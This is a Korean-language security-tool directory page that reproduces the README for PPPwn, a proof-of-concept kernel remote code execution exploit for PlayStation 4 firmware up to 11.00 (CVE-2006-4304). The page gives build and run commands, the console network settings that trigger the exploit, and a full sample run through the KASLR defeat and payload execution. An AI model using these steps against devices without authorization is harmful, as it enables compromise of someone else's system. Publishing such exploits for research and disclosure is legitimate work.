Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/theofficialflow/pppwn
ExploitationPayload DevelopmentBinary Exploitation
GitHubtheofficialflow/pppwn

PPPwn

PPPwn - PlayStation 4 PPPoE RCE

저장소 보기
3.0k4142년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PPPwn - PlayStation 4 PPPoE RCE

PPPwn은 FW 11.00까지의 PlayStation 4를 대상으로 하는 커널 원격 코드 실행 익스플로잇입니다. 이는 PlayStation에 책임 있게 신고된 CVE-2006-4304에 대한 개념 증명 익스플로잇입니다.

지원되는 버전은 다음과 같습니다:

  • FW 7.00 / 7.01 / 7.02
  • FW 7.50 / 7.51 / 7.55
  • FW 8.00 / 8.01 / 8.03
  • FW 8.50 / 8.52
  • FW 9.00
  • FW 9.03 / 9.04
  • FW 9.50 / 9.51 / 9.60
  • FW 10.00 / 10.01
  • FW 10.50 / 10.70 / 10.71
  • FW 11.00
  • 더 추가할 수 있습니다(PR 환영).

이 익스플로잇은 개념 증명으로 PS4에 PPPwned만 출력합니다. Mira 또는 유사한 홈브류 활성화 도구를 실행하려면 stage2.bin 페이로드를 수정해야 합니다.

요구 사항

  • 이더넷 포트가 있는 컴퓨터
    • USB 어댑터도 작동합니다.
  • 이더넷 케이블
  • Linux
    • VirtualBox를 사용하여 네트워크 어댑터로 Bridged Adapter를 선택한 Linux VM을 만들어 VM에서 이더넷 포트를 사용할 수 있습니다.
  • Python3 및 gcc 설치

사용법

컴퓨터에서 저장소를 클론합니다:

root@kitploit:~
git clone --recursive https://github.com/TheOfficialFloW/PPPwn

클론한 저장소로 디렉터리를 변경합니다:

root@kitploit:~
cd PPPwn

요구 사항을 설치합니다:

root@kitploit:~
sudo pip install -r requirements.txt

페이로드를 컴파일합니다:

root@kitploit:~
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100

다른 펌웨어(예: FW 9.00)의 경우 FW=900을 전달하세요.

아직 익스플로잇을 실행하지 마세요(아직 Enter를 누르지 마세요). 다만 프롬프트에 이 명령을 준비해 두세요(올바른 인터페이스는 ifconfig를 확인하세요):

root@kitploit:~
sudo python3 pppwn.py --interface=enp0s3 --fw=1100

다른 펌웨어(예: FW 9.00)의 경우 --fw=900을 전달하세요.

PS4에서:

  • Settings로 이동한 다음 Network를 선택하세요.

  • Set Up Internet connection을 선택하고 Use a LAN Cable을 선택하세요.

  • Custom 설정을 선택하고 IP Address Settings에서 PPPoE를 선택하세요.

  • PPPoE User ID 및 PPPoE Password에 아무 값이나 입력하세요.

  • DNS Settings 및 MTU Settings에서 Automatic을 선택하세요.

  • Proxy Server에서 Do Not Use를 선택하세요.

이 PPPoE 인젝션을 다시 시도하기 전에 항상 콘솔에 "Cannot connect to network: (NW-31274-7)" 메시지가 표시될 때까지 기다리세요.

익스플로잇이 실패하거나 PS4가 충돌하면 인터넷 설정을 건너뛰고 Test Internet Connection을 클릭하기만 하면 됩니다. 컴퓨터에서 pppwn.py 스크립트를 종료하고 다시 실행한 다음 PS4에서 Test Internet Connection을 클릭하세요. 항상 동시에 하세요.

익스플로잇이 작동하면 아래와 유사한 출력이 표시되고, PS4에 Cannot connect to network. 다음에 PPPwned가 출력되거나 그 반대 순서로 출력되는 것을 볼 수 있습니다.

실행 예시

root@kitploit:~
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin

[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done

[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141

[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000

[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...

[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!

Mac Apple Silicon 사용자(arm64 / aarch64)를 위한 참고 사항

이 코드는 Apple Silicon에서 컴파일되지 않으며 AMD64 아키텍처가 필요합니다. docker를 사용하는 해결 방법이 있으며, 이를 통해 필요한 bin 파일을 빌드할 수 있습니다. 이 저장소를 Mac 시스템에 클론한 다음, 저장소 폴더에서 ./build-macarm.sh를 실행하세요. 그러면 PS4 FW 1100용 바이너리가 빌드되고 필요한 파일이 올바른 폴더에 배치됩니다. 다른 버전(예: 900)의 바이너리를 빌드하려면 ./build-macarm.sh 900과 같이 명령을 실행하세요. 빌드가 완료되면 이 폴더 구조를 Linux VM에 복사하고 위의 지침대로 실행하세요. 이 절차는 VMware Fusion 13.5.1, VM 게스트 Ubuntu 24.04, 호스트 MacOS 14.4.1에서 테스트되었습니다.

도구 다운로드
  • 이제 Test Internet Connection에서 컨트롤러의 'X' 버튼과 키보드의 'Enter'를 동시에 누르세요(컴퓨터에서 Python 스크립트를 실행할 준비가 되어 있어야 합니다).